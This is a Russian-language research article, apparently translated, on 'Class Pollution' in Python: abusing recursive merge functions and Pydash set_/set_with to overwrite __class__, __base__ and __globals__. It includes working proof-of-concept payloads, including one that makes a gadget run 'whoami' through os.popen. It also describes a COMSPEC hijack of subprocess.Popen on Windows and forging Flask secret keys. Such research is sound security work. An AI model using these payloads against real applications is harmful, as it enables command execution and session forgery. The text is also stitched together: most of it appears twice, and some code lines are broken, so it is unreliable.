Основная цель данного исследования - доказать возможность существования разновидности Prototype Pollution в других языках программирования, в том числе основанных на классах, продемонстрировав Class Pollution в Python.
> Предыстория
Prototype Pollution может быть одной из самых крутых уязвимостей для исследователя, исследователи проделали огромную работу по изучению этой темы, но всегда есть что-то еще.
Читая о Prototype Pollution, я заметил, что все ресурсы говорят о Prototype Pollution в JavaScript, будь то клиентское или серверное приложение NodeJS, и, честно говоря, этому есть хорошее объяснение. Prototype Pollution - это одна из уязвимостей, специфичных для конкретного языка, поскольку, как следует из названия, она должна затрагивать только языки программирования, основанные на прототипах. Хотя JavaScript - не единственный язык программирования, основанный на прототипах, JavaScript - один из самых популярных языков программирования среди них, поэтому вы увидите, что все ресурсы говорят о Prototype Pollution в JS. Возможно, Prototype Pollution можно встретить и в других языках, основанных на прототипах, однако мы не можем сказать, что язык программирования уязвим только потому, что в нем используются прототипы. Будучи фанатом Python (да, я признаю это), я считаю, что на Python можно создать все что угодно, даже уязвимости (как будто Prototype Pollution в JavaScript недостаточно сложен!).
Нет прототипов - нет проблемы
Давайте начнем с объяснения того, что означает "прототипирование" и почему он используется. JavaScript использует модель наследования на основе прототипов, хотя название может показаться странным, идея похожа на обычное наследование на основе классов с некоторыми отличиями (просто JavaScript хочет сделать нашу жизнь сложнее).
Прототипы - это механизм, с помощью которого объекты JavaScript наследуют свойства друг от друга.
Когда вы пытаетесь получить доступ к свойству объекта: если свойство не может быть найдено в самом объекте, производится поиск свойства в прототипе. Если свойство по-прежнему не найдено, то ищется прототип прототипа, и так далее, пока либо свойство не будет найдено, либо не будет достигнут конец цепочки, в этом случае возвращается undefined
developer.mozilla.org
После того, как мы узнали, что такое прототип, давайте узнаем немного больше о загрязнении прототипов. Есть много замечательных ресурсов, объясняющих загрязнение прототипа в JavaScript очень подробно, я предлагаю вам сначала ознакомиться с ними, прежде чем продолжить чтение.
Загрязнение прототипа - это уязвимость, при которой злоумышленник может изменить Object.prototype
может привести к широкому спектру проблем, иногда даже к удаленному выполнению кода.
www.acunetix.com
Мне нравится рассматривать Prototype Pollution как причудливую эксплуатацию уязвимости объектной инъекции (когда мы внедряемся в объект, не внедряя новый объект), вместо того, чтобы устанавливать атрибут только для этого отдельного объекта, мы можем загрязнить родительский прототип/класс, в котором будут отражены все остальные объекты, которые в противном случае были бы недоступны. Хотя это может иметь много общего с небезопасной десериализацией, старайтесь не путать их вместе. Гибкость, которую предлагают некоторые скриптовые языки, такие как Python, делает различия между моделями наследования на основе прототипов и классов незаметными в действии. Поэтому мы можем повторить идею Prototype Pollution в других языках программирования, даже в тех, которые используют наследование на основе классов. В этой статье я буду называть эту уязвимость Class Pollution, поскольку в Python у нас нет прототипов. Представьте себе, что мы обнаружили SQL-инъекцию в статическом веб-приложении, которое даже не имеет базы данных!
Методы Дандера (также известные как магические методы) - это специальные методы, которые неявно вызываются всеми объектами в Python при выполнении различных операций, таких как
__str__()
, __eq__()
, и __call__()
Они используются для указания того, что должны делать объекты класса при использовании в различных операторах и с различными операторами. Методы Dunder имеют свою реализацию по умолчанию для встроенных классов, от которых мы будем неявно наследоваться при создании нового класса, однако разработчики могут переопределять эти методы и предоставлять свою собственную реализацию при определении новых классов.
В Python существуют и другие специальные атрибуты каждого объекта, такие как __class__ , __doc__и т.д. Каждый из этих атрибутов используется для определенной цели.
В Python у нас нет прототипов, но есть специальные атрибуты.
В Python можно обновлять объекты мутабельных типов, определяя или перезаписывая их атрибуты и методы во время выполнения. Круто, не правда ли?
В следующем коде мы создали экземпляр класса Employee который является пустым классом, а затем определили новый атрибут и метод для этого объекта. Атрибуты и методы могут быть определены для конкретного объекта и доступны только этому экземпляру (нестатические) или определены для класса, чтобы все объекты этого класса могли получить к ним доступ (статические).
Эта возможность в Python заставила меня задуматься, почему мы не можем применить ту же концепцию Prototype Pollution, но на этот раз в Python, используя специальные атрибуты, которые есть у всех объектов.
С точки зрения злоумышленника, нас больше интересуют атрибуты, которые мы можем переопределить/переписать, чтобы иметь возможность использовать эту уязвимость, а не магические методы. Поскольку наш ввод всегда будет рассматриваться как данные (str, int и т.д.), а не как реальный код для оценки. Поэтому, если мы попытаемся перезаписать любой из магических методов, это приведет к аварийному завершению работы приложения при попытке вызвать этот метод, поскольку данные, такие как строки, не могут быть выполнены. Например, попытка вызвать метод __str__() после установки его значения в строку, вызовет ошибку, подобную этой TypeError: 'str' object is not callable
Теперь попробуем перезаписать один из самых важных атрибутов любого объекта в Python - __class__. Этот атрибут указывает на класс, экземпляром которого является объект. В нашем примере emp.__class__ указывает на класс Employee потому что он является экземпляром этого класса. Вы можете думать о <instance>.__class__ в Python, как <instance>.constructor в JavaScript.
Итак, давайте попробуем установить __class__ атрибут объекта emp в строку и посмотрим, что произойдет.
Несмотря на то, что мы получили ошибку, она выглядит многообещающе! Она показывает, что __class__ должен быть установлен на другой класс, а не на строку. Это означает, что он пытался перезаписать этот специальный атрибут тем, что мы предоставили, единственная проблема заключается в типе данных значения, которое мы пытаемся установить в __class__.
Давайте попробуем установить другой атрибут, который принимает строки, __qualname__. атрибут, который находится внутри __class__. может подойти для тестирования. __class__.__qualname__
это атрибут, который содержит имя класса и используется в реализации по умолчанию метода __str__() метода класса для отображения имени класса.
class Employee: pass # Creating an empty class
Как показано выше, мы смогли загрязнить класс и установить __qualname__ атрибут __qualname__ в произвольную строку. Следует помнить, что когда мы устанавливаем __class__.__qualname__
на объект класса, то атрибут __qualname__ атрибут этого класса (которым в нашем случае является Employee в нашем случае) был изменен, это происходит потому, что __class__ указывает на класс этого объекта, и любое изменение этого атрибута будет применено к классу, как мы уже говорили. Чтобы увидеть, как уязвимость может существовать в реальных приложениях Python, я перенес рекурсивную функцию слияния, которой злоупотребляют для загрязнения прототипа объектов, в обычный Prototype Pollution, который мы знаем. Рекурсивная функция слияния может существовать в различных вариантах и реализациях и использоваться для выполнения различных задач, таких как слияние двух или более объектов, использование JSON для установки атрибутов объекта и т.д. Ключевой функцией, которую следует искать, является функция, которая получает недоверенный входной сигнал, который мы контролируем, и использует его для рекурсивной установки атрибутов объекта. Нахождения такой функции будет достаточно для эксплуатации уязвимости, однако, если нам повезет найти функцию слияния, которая не только позволяет нам рекурсивно перебирать и устанавливать атрибуты (__getattr__ и __setattr__ ) объекта, но и позволяет рекурсивно переходить и устанавливать элементы (__getitem__ and __setitem__),
С другой стороны, функция слияния, которая использует управляемый нами вход для рекурсивного набора элементов словаря через __getitem__and __setitem__не будет пригодна для эксплуатации, поскольку мы не сможем получить доступ к специальным атрибутам, таким как __class__, __base__, etc.
В JavaScript это может быть незаметно, поскольку объект - это просто словарь в JS, а <object>[<property>] и <object>.<property> могут быть использованы для доступа к атрибутам/элементам.
В следующем коде у нас есть функция слияния, которая принимает экземпляр emp of the empty Employee и информацию о сотруднике emp_info которая представляет собой словарь (похожий на JSON), которым мы управляем как злоумышленник. The функция слияния будет читать ключи и значения из emp_info и установит их для данного объекта emp. В итоге то, что ранее было пустым экземпляром, должно иметь атрибуты и элементы, которые мы указали в словаре.
Теперь давайте попробуем загрязнить некоторые специальные атрибуты! Мы будем обновлять emp_info чтобы попытаться установить __qualname__ атрибут Employee через __class__.__qualname__ как мы делали раньше, но на этот раз используя функцию merge.
Мы смогли загрязнить класс Employee класс, экземпляр которого передается в функцию слияния, но что, если мы хотим опросить и родительский класс? Вот когда __base__ вступает в игру, __base__
это еще один атрибут класса, который указывает на ближайший родительский класс, от которого он наследуется, поэтому если существует цепочка наследования, __base__ будет указывать на последний класс, от которого мы наследуем. В примере, показанном ниже, hr_emp.__class__указывает на класс HR, а hr_emp.__class__.__base__ указывает на родительский класс HR, которым является Employee который мы будем загрязнять.
Тот же подход можно применить, если мы хотим загрязнить любой родительский класс (который не является одним из неизменяемых типов) в цепочке наследования, путем объединения __base__ в цепочку. вместе, например, __base__.__base__. , __base__.__base__.__base__.__base__ и так далее.
Теперь вы можете задаться вопросом, почему бы нам не загрязнить хорошо известный класс object класс, который является родительским классом всех классов в конце цепочки наследования, и изменение любого его атрибута будет отражено на всех остальных объектах. Если бы мы попытались установить атрибут класса object класса, например object.__qualname__ = 'Polluted'
например, мы получим сообщение об ошибке TypeError: cannot set '__qualname__' attribute of immutable type 'object'.
Это связано с некоторыми ограничениями, которые имеет Python, поскольку он не позволяет нам изменять классы неизменяемых типов, таких как object , str, int, dictи т.д.
Учитывая это ограничение, для того, чтобы использовать Class Pollution в Python, опасное слияние и атрибут, который мы хотим установить, чтобы использовать гаджет, должны находиться в одном классе или, по крайней мере, иметь один и тот же родительский класс (кроме класса object). в любой точке цепочки наследования (на самом деле это не так, подождите).
В следующем примере, несмотря на то, что небезопасное слияние происходит на объекте класса Recruiter класса Recruiter, а гаджет или функция, которая нас интересует (execute_command
функция, позволяющая выполнить команду) находится в классе SystemAdmin классе, мы смогли взять его под контроль, установив пользовательский_командный атрибут Employee class.
Это возможно, потому что SystemAdmin и Recruiter наследуют от класса Employee в какой-то момент. Используя небезопасное слияние, мы смогли установить атрибут custom_command
атрибут Employee класса, так что когда экземпляр класса SystemAdmin будет искать этот атрибут, он найдет его, поскольку он унаследован от родительского класса Employee.
Не имеет значения, был ли экземпляр класса Recruiter был создан до или после операции слияния, поскольку мы загрязняем сам класс, что будет отражено на существующем экземпляре и новых экземплярах этого класса. Единственное, что гаджет должен быть вызван после загрязнения класса.
Это интересно, но подождите, есть еще кое-что. До сих пор мы могли загрязнять атрибуты только экземпляра, переданного в функцию слияния, и его изменяемых родительских классов, но это еще не все. В этом варианте Prototype Pollution мы, возможно, не сможем загрязнить встроенный класс объекта но мы можем загрязнить все другие изменяемые классы, которые захотим, если найдем цепочку атрибутов, ведущую к этому классу. Но не только это, на самом деле мы не ограничены классами и их атрибутами, используя атрибут __globals__. мы можем перезаписывать даже переменные в коде. Согласно документации Python __globals__ это "ссылка на словарь, в котором хранятся глобальные переменные функции - глобальное пространство имен модуля, в котором была определена функция". Другими словами, __globals__ это объект словаря, который дает нам доступ к глобальной области видимости функции, что позволяет нам получить доступ к определенным переменным, импортированным модулям и т.д. Для доступа к элементам __globals__ атрибут функция слияния должна использовать __getitem__ как упоминалось ранее.
атрибут _globals__ доступен из любого из определенных методов экземпляра, которым мы управляем, например, __init__. . Мы не обязаны использовать __init__. конкретно, мы можем использовать любой определенный метод этого экземпляра для доступа к __globals__. однако, скорее всего, мы найдем __init__ метод в каждом классе, поскольку это конструктор класса. Мы не можем использовать встроенные методы, унаследованные от объекта класса, такие как __str__ если только они не были переопределены. Следует помнить, что <instance>.__init__ , <instance>.__class__.__init__
и <class>.__init__. одинаковы и указывают на один и тот же конструктор класса. Итак, эмпирическое правило здесь таково: если мы смогли найти цепочку атрибутов/элементов (на основе функции merge) от объекта, которым мы управляем, до любого атрибута или переменной, которую мы хотим контролировать, то мы сможем перезаписать ее. Это дает нам гораздо больше гибкости и экспоненциально увеличивает поверхность атаки при поиске гаджетов для использования. Мы покажем несколько примеров гаджетов, которые вы можете использовать в зависимости от приложения. В следующем примере мы будем использовать специальный атрибут __globals__. для доступа и установки атрибута класса NotAccessibleClass класса, а также для изменения глобальной переменной not_accessible_variable . NotAccessibleClass и not_accessible_variable не будут доступны без __globals__. поскольку класс не является родительским классом экземпляра, которым мы управляем, а переменная не является атрибутом класса, которым мы управляем. Однако, поскольку мы можем найти цепочку атрибутов/элементов для доступа к ней из экземпляра, который мы имеем, мы смогли загрязнить NotAccessibleClass и not_accessible_variable
Давайте рассмотрим реальные примеры реализации функции слияния.
Работая над этой темой, я хотел показать реальные примеры библиотек или приложений, уязвимых к Class Pollution, чтобы доказать концепцию. Поэтому я начал с произвольного поиска библиотек Python, предоставляющих функциональность, в которой может понадобиться и использоваться рекурсивное слияние.
Lodash - одна из библиотек JavaScript, где Prototype Pollution был ранее обнаружен и о нем неоднократно сообщалось. Теперь позвольте мне познакомить вас с Python-реализацией Lodash, которой является Pydash. Pydash set_ и set_with являются примерами рекурсивных функций слияния, которые мы можем использовать для загрязнения атрибутов. Самое замечательное, что и set_, и set_with позволяют нам перемещаться между атрибутами объекта и элементами в словарях и устанавливать их, что является лучшим, о чем мы могли бы попросить. Передавая объект, путь к атрибуту/элементу, который мы хотим установить, и значение, которое нужно установить, каждая из этих функций может быть использована для установки указанного атрибута или элемента на данном экземпляре. Во всех предыдущих примерах Pydash set_ и set_with можно использовать вместо написанной нами функции merge, и она будет эксплуатироваться точно так же. Единственное отличие заключается в том, что функции Pydash используют точечную нотацию, такую как <attribute>.<attribute>.<item> для доступа к атрибутам и элементам вместо формата JSON.
Некоторые крутые гаджеты
Как всегда в Prototype Pollution, последствия зависят от приложения и доступных гаджетов, которые можно использовать, здесь также последствия варьируются между тем, чтобы вызвать DoS, обрушив приложение, и в конечном итоге добиться выполнения команды, все зависит от самого приложения. Хотя мы не можем перечислить все гаджеты, которые вы можете найти, в этом разделе я постараюсь показать некоторые из них, с которыми вы можете столкнуться при эксплуатации этой уязвимости.
subprocess.Popen в Windows
В этом примере мы можем установить любой атрибут или элемент для вновь созданного экземпляра класса Employee предоставив полезную нагрузку в формате JSON, как было показано ранее. После выполнения операции слияния скрипт выполняет жестко закодированную команду whoami команду. Наша цель состоит в том, чтобы перехватить выполнение команды Popen
для выполнения произвольных команд вместо команды whoami команды. Потратьте немного времени и попробуйте запустить calc.exe прежде чем продолжить чтение, этот эксплойт работает только в Windows.
Наша главная цель здесь - найти цепочку атрибутов и элементов, которая каким-то образом позволяет нам управлять командой, выполняемой Popen (это класс, а не функция).
Заглянув в подпроцесс модуля, чтобы увидеть, как Popen работает под Windows, мы заметили, что там есть оператор if, который проверяет, установлен ли аргумент shell был установлен в True
или нет, если он установлен в True то он пытается получить путь к cmd.exe из переменных окружения пользователя, чтобы выполнить заданную команду, используя C:\WINDOWS\system32\cmd.exe /c <команда>. . Если переменная окружения COMSPEC не определена, то она устанавливает переменную comspec переменную в коде (не переменную окружения) в cmd.exe
Как мы видели, он использует os.environ для поиска COMSPEC в переменных окружения. Таким образом, если мы контролируем значение COMSPEC в os.environ мы сможем внедрять произвольные команды. Цепочка, которую мы должны использовать для перезаписи COMSPEC можно объяснить следующим образом:
Перезапись функции __kwdefaults__
__kwdefaults__
это специальный атрибут всех функций, согласно документации Python, это "отображение любых значений по умолчанию для параметров только для ключевых слов". Использование этого атрибута позволяет нам управлять значениями по умолчанию параметров функции, доступных только для ключевых слов, это параметры функции, которые идут после * или *args
В то время как __kwdefaults__ хранит значения по умолчанию для параметров, содержащих только ключевые слова, __defaults__ это кортеж, который хранит значения по умолчанию для позиционных или ключевых параметров. Было бы здорово, если бы мы могли загрязнять __defaults__ атрибут функции, однако это будет невозможно в сценариях, где недоверенный вход, которым мы управляем, анализируется как JSON, поскольку в формате JSON нет кортежей ().
Подробнее
Поскольку невозможно перечислить все возможные способы использования этой уязвимости, я приведу еще несколько примеров и предоставлю читателям возможность исследовать их дальше.
Загрязнение секретного ключа веб-приложения Flask, который используется для подписания сеанса. Перехват пути через os.environ.
> Обновления
Поскольку это тема, над которой я все еще работаю, я собираюсь обновлять этот блог во время своего путешествия, чтобы отвечать на вопросы, которые у всех нас возникают.
> Предыстория
Prototype Pollution может быть одной из самых крутых уязвимостей для исследователя, исследователи проделали огромную работу по изучению этой темы, но всегда есть что-то еще.
Читая о Prototype Pollution, я заметил, что все ресурсы говорят о Prototype Pollution в JavaScript, будь то клиентское или серверное приложение NodeJS, и, честно говоря, этому есть хорошее объяснение. Prototype Pollution - это одна из уязвимостей, специфичных для конкретного языка, поскольку, как следует из названия, она должна затрагивать только языки программирования, основанные на прототипах. Хотя JavaScript - не единственный язык программирования, основанный на прототипах, JavaScript - один из самых популярных языков программирования среди них, поэтому вы увидите, что все ресурсы говорят о Prototype Pollution в JS. Возможно, Prototype Pollution можно встретить и в других языках, основанных на прототипах, однако мы не можем сказать, что язык программирования уязвим только потому, что в нем используются прототипы. Будучи фанатом Python (да, я признаю это), я считаю, что на Python можно создать все что угодно, даже уязвимости (как будто Prototype Pollution в JavaScript недостаточно сложен!).
Нет прототипов - нет проблемы
Давайте начнем с объяснения того, что означает "прототипирование" и почему он используется. JavaScript использует модель наследования на основе прототипов, хотя название может показаться странным, идея похожа на обычное наследование на основе классов с некоторыми отличиями (просто JavaScript хочет сделать нашу жизнь сложнее).
Прототипы - это механизм, с помощью которого объекты JavaScript наследуют свойства друг от друга.
Когда вы пытаетесь получить доступ к свойству объекта: если свойство не может быть найдено в самом объекте, производится поиск свойства в прототипе. Если свойство по-прежнему не найдено, то ищется прототип прототипа, и так далее, пока либо свойство не будет найдено, либо не будет достигнут конец цепочки, в этом случае возвращается undefined
Object prototypes - Learn web development | MDN
This article has covered JavaScript object prototypes, including how prototype object chains allow objects to inherit features from one another, the prototype property and how it can be used to add methods to constructors, and other related topics.
После того, как мы узнали, что такое прототип, давайте узнаем немного больше о загрязнении прототипов. Есть много замечательных ресурсов, объясняющих загрязнение прототипа в JavaScript очень подробно, я предлагаю вам сначала ознакомиться с ними, прежде чем продолжить чтение.
Загрязнение прототипа - это уязвимость, при которой злоумышленник может изменить Object.prototype
- . Поскольку почти все объекты в JavaScript являются экземплярами Object то типичный объект наследует свойства (включая методы) от Object.prototype
- . Изменение Object.prototype
может привести к широкому спектру проблем, иногда даже к удаленному выполнению кода.
Prototype pollution - Vulnerabilities - Acunetix
Prototype pollution is a vulnerability where an attacker is able to modify Object.prototype. Because nearly all objects in JavaScript are instances of Object, a typic...
Мне нравится рассматривать Prototype Pollution как причудливую эксплуатацию уязвимости объектной инъекции (когда мы внедряемся в объект, не внедряя новый объект), вместо того, чтобы устанавливать атрибут только для этого отдельного объекта, мы можем загрязнить родительский прототип/класс, в котором будут отражены все остальные объекты, которые в противном случае были бы недоступны. Хотя это может иметь много общего с небезопасной десериализацией, старайтесь не путать их вместе. Гибкость, которую предлагают некоторые скриптовые языки, такие как Python, делает различия между моделями наследования на основе прототипов и классов незаметными в действии. Поэтому мы можем повторить идею Prototype Pollution в других языках программирования, даже в тех, которые используют наследование на основе классов. В этой статье я буду называть эту уязвимость Class Pollution, поскольку в Python у нас нет прототипов. Представьте себе, что мы обнаружили SQL-инъекцию в статическом веб-приложении, которое даже не имеет базы данных!
Методы Дандера (также известные как магические методы) - это специальные методы, которые неявно вызываются всеми объектами в Python при выполнении различных операций, таких как
__str__()
, __eq__()
, и __call__()
Они используются для указания того, что должны делать объекты класса при использовании в различных операторах и с различными операторами. Методы Dunder имеют свою реализацию по умолчанию для встроенных классов, от которых мы будем неявно наследоваться при создании нового класса, однако разработчики могут переопределять эти методы и предоставлять свою собственную реализацию при определении новых классов.
В Python существуют и другие специальные атрибуты каждого объекта, такие как __class__ , __doc__и т.д. Каждый из этих атрибутов используется для определенной цели.
В Python у нас нет прототипов, но есть специальные атрибуты.
В Python можно обновлять объекты мутабельных типов, определяя или перезаписывая их атрибуты и методы во время выполнения. Круто, не правда ли?
В следующем коде мы создали экземпляр класса Employee который является пустым классом, а затем определили новый атрибут и метод для этого объекта. Атрибуты и методы могут быть определены для конкретного объекта и доступны только этому экземпляру (нестатические) или определены для класса, чтобы все объекты этого класса могли получить к ним доступ (статические).
Код:
class Employee: pass # Creating an empty class
emp = Employee()
another_emp = Employee()
Employee.name = 'No one' # Defining an attribute for the Employee class
print(emp.name)
temp.name = 'Employee 1' # Defining an attribute for an object (overriding the class attribute)
print(emp.name)
emp.say_hi = lambda: 'Hi there!' # Defining a method for an object
print(emp.say_hi())
Employee.say_bye = lambda s: 'Bye!' # Defining a method for the Employee class
print(emp.say_bye())
Employee.say_bye = lambda s: 'Bye bye!' # Overwriting a method of the Employee class
print(another_emp.say_bye())
#> No one
#> Employee 1
#> Hi there!
#> Bye!
#> Bye bye!
Эта возможность в Python заставила меня задуматься, почему мы не можем применить ту же концепцию Prototype Pollution, но на этот раз в Python, используя специальные атрибуты, которые есть у всех объектов.
С точки зрения злоумышленника, нас больше интересуют атрибуты, которые мы можем переопределить/переписать, чтобы иметь возможность использовать эту уязвимость, а не магические методы. Поскольку наш ввод всегда будет рассматриваться как данные (str, int и т.д.), а не как реальный код для оценки. Поэтому, если мы попытаемся перезаписать любой из магических методов, это приведет к аварийному завершению работы приложения при попытке вызвать этот метод, поскольку данные, такие как строки, не могут быть выполнены. Например, попытка вызвать метод __str__() после установки его значения в строку, вызовет ошибку, подобную этой TypeError: 'str' object is not callable
Теперь попробуем перезаписать один из самых важных атрибутов любого объекта в Python - __class__. Этот атрибут указывает на класс, экземпляром которого является объект. В нашем примере emp.__class__ указывает на класс Employee потому что он является экземпляром этого класса. Вы можете думать о <instance>.__class__ в Python, как <instance>.constructor в JavaScript.
Итак, давайте попробуем установить __class__ атрибут объекта emp в строку и посмотрим, что произойдет.
Код:
class Employee: pass # Creating an empty class
emp = Employee()
emp.__class__ = 'Polluted'
#> Traceback (most recent call last):
#> File "<stdin>", line 1, in <module>
#> TypeError: __class__ must be set to a class, not 'str' object
Несмотря на то, что мы получили ошибку, она выглядит многообещающе! Она показывает, что __class__ должен быть установлен на другой класс, а не на строку. Это означает, что он пытался перезаписать этот специальный атрибут тем, что мы предоставили, единственная проблема заключается в типе данных значения, которое мы пытаемся установить в __class__.
Давайте попробуем установить другой атрибут, который принимает строки, __qualname__. атрибут, который находится внутри __class__. может подойти для тестирования. __class__.__qualname__
это атрибут, который содержит имя класса и используется в реализации по умолчанию метода __str__() метода класса для отображения имени класса.
class Employee: pass # Creating an empty class
Код:
emp = Employee()
emp.__class__.__qualname__ = 'Polluted'
print(emp)
print(Employee)
#> <__main__.Polluted object at 0x0000024765C48250>
#> <class '__main__.Polluted'>
Как показано выше, мы смогли загрязнить класс и установить __qualname__ атрибут __qualname__ в произвольную строку. Следует помнить, что когда мы устанавливаем __class__.__qualname__
на объект класса, то атрибут __qualname__ атрибут этого класса (которым в нашем случае является Employee в нашем случае) был изменен, это происходит потому, что __class__ указывает на класс этого объекта, и любое изменение этого атрибута будет применено к классу, как мы уже говорили. Чтобы увидеть, как уязвимость может существовать в реальных приложениях Python, я перенес рекурсивную функцию слияния, которой злоупотребляют для загрязнения прототипа объектов, в обычный Prototype Pollution, который мы знаем. Рекурсивная функция слияния может существовать в различных вариантах и реализациях и использоваться для выполнения различных задач, таких как слияние двух или более объектов, использование JSON для установки атрибутов объекта и т.д. Ключевой функцией, которую следует искать, является функция, которая получает недоверенный входной сигнал, который мы контролируем, и использует его для рекурсивной установки атрибутов объекта. Нахождения такой функции будет достаточно для эксплуатации уязвимости, однако, если нам повезет найти функцию слияния, которая не только позволяет нам рекурсивно перебирать и устанавливать атрибуты (__getattr__ и __setattr__ ) объекта, но и позволяет рекурсивно переходить и устанавливать элементы (__getitem__ and __setitem__),
С другой стороны, функция слияния, которая использует управляемый нами вход для рекурсивного набора элементов словаря через __getitem__and __setitem__не будет пригодна для эксплуатации, поскольку мы не сможем получить доступ к специальным атрибутам, таким как __class__, __base__, etc.
В JavaScript это может быть незаметно, поскольку объект - это просто словарь в JS, а <object>[<property>] и <object>.<property> могут быть использованы для доступа к атрибутам/элементам.
В следующем коде у нас есть функция слияния, которая принимает экземпляр emp of the empty Employee и информацию о сотруднике emp_info которая представляет собой словарь (похожий на JSON), которым мы управляем как злоумышленник. The функция слияния будет читать ключи и значения из emp_info и установит их для данного объекта emp. В итоге то, что ранее было пустым экземпляром, должно иметь атрибуты и элементы, которые мы указали в словаре.
Код:
ass Employee: pass # Creating an empty class
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
emp = Employee()
print(vars(emp))
merge(emp_info, emp)
print(vars(emp))
print(f'Name: {emp.name}, age: {emp.age}, manager name: {emp.manager.get("name")}')
#> {}
#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
#> Name: Ahemd, age: 23, manager name: Sarah
Теперь давайте попробуем загрязнить некоторые специальные атрибуты! Мы будем обновлять emp_info чтобы попытаться установить __qualname__ атрибут Employee через __class__.__qualname__ как мы делали раньше, но на этот раз используя функцию merge.
Код:
class Employee: pass # Creating an empty class
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
},
"__class__":{
"__qualname__":"Polluted"
}
}
emp = Employee()
merge(emp_info, emp)
print(vars(emp))
print(emp)
print(emp.__class__.__qualname__)
print(Employee)
print(Employee.__qualname__)
#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
#> <__main__.Polluted object at 0x000001F80B20F5D0>
#> Polluted
#> <class '__main__.Polluted'>
#> Polluted
Мы смогли загрязнить класс Employee класс, экземпляр которого передается в функцию слияния, но что, если мы хотим опросить и родительский класс? Вот когда __base__ вступает в игру, __base__
это еще один атрибут класса, который указывает на ближайший родительский класс, от которого он наследуется, поэтому если существует цепочка наследования, __base__ будет указывать на последний класс, от которого мы наследуем. В примере, показанном ниже, hr_emp.__class__указывает на класс HR, а hr_emp.__class__.__base__ указывает на родительский класс HR, которым является Employee который мы будем загрязнять.
Код:
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = {
"__class__":{
"__base__":{
"__qualname__":"Polluted"
}
}
}
hr_emp = HR()
merge(emp_info, hr_emp)
print(HR)
print(Employee)
#> <class '__main__.HR'>
#> <class '__main__.Polluted'>
Тот же подход можно применить, если мы хотим загрязнить любой родительский класс (который не является одним из неизменяемых типов) в цепочке наследования, путем объединения __base__ в цепочку. вместе, например, __base__.__base__. , __base__.__base__.__base__.__base__ и так далее.
Теперь вы можете задаться вопросом, почему бы нам не загрязнить хорошо известный класс object класс, который является родительским классом всех классов в конце цепочки наследования, и изменение любого его атрибута будет отражено на всех остальных объектах. Если бы мы попытались установить атрибут класса object класса, например object.__qualname__ = 'Polluted'
например, мы получим сообщение об ошибке TypeError: cannot set '__qualname__' attribute of immutable type 'object'.
Это связано с некоторыми ограничениями, которые имеет Python, поскольку он не позволяет нам изменять классы неизменяемых типов, таких как object , str, int, dictи т.д.
Учитывая это ограничение, для того, чтобы использовать Class Pollution в Python, опасное слияние и атрибут, который мы хотим установить, чтобы использовать гаджет, должны находиться в одном классе или, по крайней мере, иметь один и тот же родительский класс (кроме класса object). в любой точке цепочки наследования (на самом деле это не так, подождите).
В следующем примере, несмотря на то, что небезопасное слияние происходит на объекте класса Recruiter класса Recruiter, а гаджет или функция, которая нас интересует (execute_command
функция, позволяющая выполнить команду) находится в классе SystemAdmin классе, мы смогли взять его под контроль, установив пользовательский_командный атрибут Employee class.
Это возможно, потому что SystemAdmin и Recruiter наследуют от класса Employee в какой-то момент. Используя небезопасное слияние, мы смогли установить атрибут custom_command
атрибут Employee класса, так что когда экземпляр класса SystemAdmin будет искать этот атрибут, он найдет его, поскольку он унаследован от родительского класса Employee.
Не имеет значения, был ли экземпляр класса Recruiter был создан до или после операции слияния, поскольку мы загрязняем сам класс, что будет отражено на существующем экземпляре и новых экземплярах этого класса. Единственное, что гаджет должен быть вызван после загрязнения класса.
Код:
from os import popen
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class
class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class
def execute_command(self):
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = {
"__class__":{
"__base__":{
"__base__":{
"custom_command": "whoami"
}
}
}
}
recruiter_emp = Recruiter()
system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command())
merge(emp_info, recruiter_emp)
print(system_admin_emp.execute_command())
#> [!] Executing: "echo Hello there", output: "Hello there"
#> [!] Executing: "whoami", output: "abdulrah33m"
Это интересно, но подождите, есть еще кое-что. До сих пор мы могли загрязнять атрибуты только экземпляра, переданного в функцию слияния, и его изменяемых родительских классов, но это еще не все. В этом варианте Prototype Pollution мы, возможно, не сможем загрязнить встроенный класс объекта но мы можем загрязнить все другие изменяемые классы, которые захотим, если найдем цепочку атрибутов, ведущую к этому классу. Но не только это, на самом деле мы не ограничены классами и их атрибутами, используя атрибут __globals__. мы можем перезаписывать даже переменные в коде. Согласно документации Python __globals__ это "ссылка на словарь, в котором хранятся глобальные переменные функции - глобальное пространство имен модуля, в котором была определена функция". Другими словами, __globals__ это объект словаря, который дает нам доступ к глобальной области видимости функции, что позволяет нам получить доступ к определенным переменным, импортированным модулям и т.д. Для доступа к элементам __globals__ атрибут функция слияния должна использовать __getitem__ как упоминалось ранее.
